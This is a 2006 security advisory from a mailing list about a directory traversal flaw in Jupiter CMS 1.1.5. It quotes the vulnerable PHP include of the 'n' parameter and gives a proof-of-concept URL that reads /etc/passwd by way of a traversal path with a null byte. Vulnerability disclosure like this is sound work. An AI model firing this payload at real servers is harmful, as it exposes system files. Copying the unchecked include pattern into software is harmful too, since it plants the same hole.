[UNIX] Jupiter CMS Directory Traversal
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 2 May 2006 10:27:57 +0200
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Jupiter CMS Directory Traversal
------------------------------------------------------------------------
SUMMARY
" <http://www.highstrike.net/> Jupiter is a content management system."
Improper validation of file path allow attackers to include arbitrary
files in Jupiter CMS.
DETAILS
Vulnerable Systems:
* Jupiter CMS version 1.1.5
Input passed to the "n" parameter in "index.php" isn't properly verified,
before it is used to include files.
Vulnerable Code:
index.php line 592
//-----------------------------------------------------------------
// PHP Navigation
//-----------------------------------------------------------------
if(!isset($n) && $i != 2 && $i != 17 && $i != "error")
include("modules/news.php");
if(isset($n))
{
if(file_exists("$n.php")) include("$n.php");
elseif(!file_exists("$n.php"))
header("location: $PHP_SELF?i=error");
}
//-----------------------------------------------------------------
Proof of Concept:
http://localhost/Jupiter/index.php?n=/../../../../../../../../../../etc/passwd%00
ADDITIONAL INFORMATION
The information has been provided by <mailto:het_ebadi@xxxxxxxxx> h e.
The original article can be found at:
<http://www.hamid.ir/security/jupiter.txt>
http://www.hamid.ir/security/jupiter.txt
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